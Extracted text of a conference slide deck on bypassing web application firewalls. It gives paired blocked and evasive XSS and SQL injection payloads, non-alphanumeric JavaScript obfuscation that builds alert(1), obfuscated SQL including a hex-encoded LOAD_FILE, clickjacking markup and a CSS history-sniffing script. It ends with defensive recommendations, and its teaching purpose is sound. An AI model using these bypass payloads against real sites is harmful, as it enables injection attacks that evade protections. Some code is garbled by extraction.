Bypassing Web Application Firewalls (WAFs) Ing. Pavol Lupták, CISSP, CEH Lead Security Consultant
Nethemba All About Security Highly experienced certified IT security experts (CISSP, C EH, SCSecA) Core business: All kinds of penetration tests, comprehensive web application security audits, local system and wifi security audits, security consulting, forensic analysis, secure VoIP, ultra secure systems OWASP activists: Leaders of Slovak/Czech OWASP chapters, co authors of the most recognized OWASP Testing Guide v3.0, working on new version We are the only one in Slovakia/Czech Republic that offer: Penetration tests and security audits of SAP Security audit of smart RFID cards Unique own and sponsored security research in many areas (see our references Vulnerabilities in public transport SMS tickets, cracked the most used Mifare Classic RFID cards)
What are WAFs? Emerged from IDS/IPS focused on HTTP protocol and HTTP related attacks Usually contain a lot of complex reg exp rules to match Support special features like cookie encryption, CSRF protection, etc. Except of free mod_security they are quite expensive (and often there is no correlation between the price and their filtering capabilities)
WAFs implementations Usually they are deployed in blacklisting mode that is more vulnerable to bypasses and targeted attacks Application context (type of allowed inputs) is necessary to know for deploying of more secure whitelisting mode All WAFs can by bypassed WAF is just a workaround, but from the security point of view it can be cost effective
WAF filter rules Directly reflects WAF effectiveness For most WAF vendors they are closely guarded secrets most determined attackers are able to bypass them without seeing the actual rules Open source WAFs (mod_security, PHPIDS) have open source rules which is better for more scrutiny by skilled penetration testers
Typical WAF bypasses Blocked Attack Undetected modification 'or 1=1-- ' or 2=2-- alert(0) %00alert(0) <script>alert(0)</script> <script type=vbscript>msgbox(0)</script> ' or ''''='r <script>alert(0)</script> <img src=x:x onerror=alert(0)//></img> '/**/OR/**/''''=' 1 or 1=1 (1)or(1)=(1) <img src= x:x onerror= alert(0) ></img> <img src=http://url onload=alert(0)//></img> eval(name) x=this.name X(0?$:name+1)
Yes, WAF may be also be vulnerable! WAF also increases the attack surface of a target organization WAF may be the target of and vulnerable to malicious attacks, e.g. XSS, SQL injection, denial of service attacks, remote code execution vulnerabilities These vulnerabilities have been found in all types of WAF products(!)
Typical bypass flow 1. Find out which characters / sequences are allowed by WAFs 2. Make an obfuscated version of your injected payload 3. Test it and watch for the WAF/application response 4. If it does not work, modify it and try step 2.
Javascript obfuscation Javascript has very powerful features Javascript payload is used in XSS attacks It is full of evals, expression closures, generator expressions, iterators, special characters and shortcuts Supports a lot of encodings (unicode multibyte characters, hexadecimal, octal, combination of all of them) Supports XOR, Encryption, Base64
Non alphanumeric javascript code Even if only few characters are allowed it is possible to construct fully functional code: _=[] [];$=_++; =(_<<_); =(_<<_)+_; = + ; = + ; $$=({}+"")[ ]+(+{}+"")[_]+({}[$]+"")[_]+(($!=$)+"")[ ]+(($==$)+"") [$]+(($==$)+"")[_]+(($==$)++"")[ ]+({}+"")[ ]+(($==$)+"")[$]+({} +"")[_]+(($==$)+"")[_];$$$=(($!=$)+"")+[_]+(($!=$)+"")[ ]+(($==$)+"") [ ]+(($==$)+"")[_]+(($==$)+"")[$];$_$=({}+"")[+ ]+({}+"")[_]+({} +"")[_]+(($!=$)+"")[ ]+({}+"")[ + ]+({}+"")[ ]+(+{}+"")[_]+({} [$]+"")[ ]+(($==$)+"")[ ]; ($)[$$][$$]($$$+"('"+$_$+"')")() ([,Á,È,ª,É,,Ó]=!{}+{},[[Ç,µ]=!!Á+Á][ª+Ó+µ+Ç])()[Á+È+É+µ+Ç]( ~Á)
Let's bypass WAF! Example situation: WAF blocks alpha characters and numbers (probably not a very real situation, just proof of concept : ) Allows only few special characters (){}_=[];$! +<> Let's generate fully nonalphanumeric javascript code!
Possibilities of Javascript language We can use numbers to obtain a single character in a string, e.g. index zero for accessing the first character abc [0] We can use addition (+), subtraction ( ), multiplication (*), division (/), modulus (%), increment (++), decrement ( ) We know that mathematical operators perform automatic numeric conversion and string operators perform automatic string conversion
Source of different alphanumeric characters in Javascript Javascript object / String result error state {}+'' [object Object] +[][+[]] NaN [][+[]]+[] undefined [![]]+[] false [!![]]+[] true
Shortest Possible Ways to Create Zero without Using Numbers Characters Result +[] 0 +`'` 0 + ` 0 -[] 0 -`'` 0 - ` 0
Generating numbers +[] //0 ++[[]][+[]] //1 +!+[] //1 ++[++[[]][+[]]][+[]] //2!+[]+!+[] //2 ++[++[++[[]][+[]]][+[]]][+[]] //3!+[]+!+[]+!+[] //3
Gain alpha characters without directly using them When define Javascript object using the object literal and concatenate with string, the result is [object Object] _={}+''; //[object Object] alert(_[1]) //returns 'o' character
Generate string alert without using any alphanumeric characters Let's start with 'a' What Javascript object contains 'a'? We can use 'NaN' (Not a Number) Access empty string with index 0 (undefined) and convert to number (NaN) +[][+[]] // result: NaN
Generating 'a' character NaN[1]='a' ++[[]][+[]] //1 +[][+[]]+[] // result string: NaN (+[][+[]]+[])[++[[]][+[]]] //a We have character 'a'
Generating 'l' character Use boolean false We can use! (NOT) operator e.g. ''==0 //true Use blank array (string) and then NOT operator to obtain boolean, wrap with [] and convert it to string ([![]]+[]) //string false
Generating 'l' character ++[++[[]][+[]]][+[]] //2 ([![]]+[]) //string false 'false'[2] = ([![]]+[])[++[++[[]][+ []]][+[]]] // 'l' We have 'l' character!
Generating 'e' character It's easy, we can use boolean true ([!![]]+[]) // string 'true' ++[++[++[[]][+[]]][+[]]][+[]] //3 'true'[3] = ([!![]]+[])[++[++[++ [[]][+[]]][+[]]][+[]]] //e And we have 'e' character!
Generating 'r' character It's easy, we can use boolean true ([!![]]+[]) // string 'true' ++[[]][+[]] //1 'true'[1] = ([!![]]+[])[++[[]][+ []]] //r And we have 'r' character!
Generating 't' character It's easy, we can use boolean true ([!![]]+[]) // string 'true' +[] //0 'true'[0] = ([!![]]+[])[+[]] //t And we have 't' character!
And now we have 'alert' string! (+[][+[]]+[])[++[[]][+[]]]+([![]]+ [])[++[++[[]][+[]]][+[]]]+([!![]]+ [])[++[++[++[[]][+[]]][+[]]][+[]]]+ ([!![]]+[])[++[[]][+[]]]+([!![]]+ [])[+[]] //string 'alert'
How to execute the code of our choice? It is necessary to return window object to access all properties of window If you can access to a constructor, you can access Function constructor to execute arbitrary code The shortest possible way to get window is: alert((1,[].sort)()) // shows window object! Works in all browsers except IE
How to generate 'sort' string We know how to generate string 'alert' We need to generate 'sort' string 'false'[3]=([![]]+[])[++[++[++[[]] [+[]]][+[]]][+[]]] //'s' We can gain 'o' from []+{} [object Object] ([]+{})[++[[]][+[]]] //o We have already generated 'r' and 't'
And now we have 'sort' string ([![]]+[])[++[++[++[[]][+[]]][+[]]][+ []]]+([]+{})[++[[]][+[]]]+([!![]]+[]) [++[[]][+[]]]+([!![]]+[])[+[]] //string 'sort'
Let's build it together call alert(1) (1,[].sort)().alert(1) After changing number 1 and all alpha characters to their obfuscated version we get: ([],[][([![]]+[])[++[++[++[[]][+[]]][+[]]] [+[]]]+([]+{})[++[[]][+[]]]+([!![]]+[])[++ [[]][+[]]]+([!![]]+[])[+[]]])()[ (+[][+[]] +[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+ []]][+[]]] +([!![]]+[])[++[++[++[[]][+[]]] [+[]]][+[]]]+([!![]]+[])[++ [[]][+[]]]+ ([!![]]+[])[+[]]](++[[]][+[]]) //calls alert(1)!
How to call any arbitrary Javascript function Using the array constructor (accessing the constructor twice from an array object returns Function): [].constructor.constructor( alert(1 ) )() We need to generate the rest 'c','n','u' letters, gain them from the output of [].sort function: function sort() { [native code] }
SQL obfuscation What is obfuscation of SQL injection vector? Different DBMS have different SQL syntax, most of them support Unicode, Base64, hex, octal and binary representation, escaping, hashing algorithms (MD5, SHA 1) Many blacklisted characters can be replaced by their functional alternatives (0xA0 in MySQL) Obfuscated comments it is difficult to determine what is a comment and what is not
SQL obfuscation examples SELECT CONCAT (char (x'70617373',b'11101110110111101110010011 00100')) s/*/e/**//*e*//*/l/*le*c*//*/ect~~/**/1 SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M) SELECT(extractvalue(0x3C613E61646D696E3 C2F613, 0x2F61))
New SQL features MySQL/PostgreSQL supports XML functions: SELECT UpdateXML('<script x=_></script>', '/script/@x','src=//0x.lv'); HTML5 supports local DB storage (SQLite 3.1+) (opendatabase object) can be misused for persistent XSS, local SQL injection attacks
Existing obfuscation tools Hackvertor http://hackvertor.co.uk/public HackBar https://addons.mozilla.org/en US/firefox/addon/hack Malzilla http://malzilla.sourceforge.net/ Your imagination :)
Summary WAFs are just workarounds! The best solution is to care about security in every SDLC phase and strictly validate all inputs and outputs in the application Use whitelisting instead of blacklisting (both in the application and WAF!) Use multilayer security 3 rd layer database architecture or database firewalls for SQL use prepared statements for HTML use HTML Purifier or OWASP AntiSamy project
References Web Application Obfuscation http://www.amazon.com/web Application Obfuscati XSS Attacks: Cross Site Scripting Exploits and Defense http://www.amazon.com/xss Attacks Scripting Exp Special thanks to Mario Heiderich and Stefano Di Paola
UI redressing attacks clickjacking <style> iframe { filter: alpha(opacity=0); opacity: 0; position: absolute; top: 0px; left 0px; height: 300px; width: 250px; } img { position: absolute; top: 0px; left: 0px; height: 300px; width: 250px; } </style> <img src= WHAT THE USERS SEES /> <iframe src= WHAT THE USER IS ACTUALLY INTERACTING WITH ></iframe>
Clickjacking protection Blocks using X FRAME/OPTIONS: NEVER <body> <script> if (top!=self) document.write('<plaintext>'); </script>...
CSS History attack <style> a { position: relative; } a:visited { position: absolute; } </style> <a id= v href= http://www.google.com/ >Google</a> <script> var l=document.getelementbyid( v ); var c=getcomputedstyle(l).position; c== absolute?alert( visited ):alert( not visited ); </script>
CSS History exploitation methods Social network deanonymization attacks Session ID/CSRF token local brute force attack LAN scanners Fixed in Firefox 4.0, current browsers are vulnerable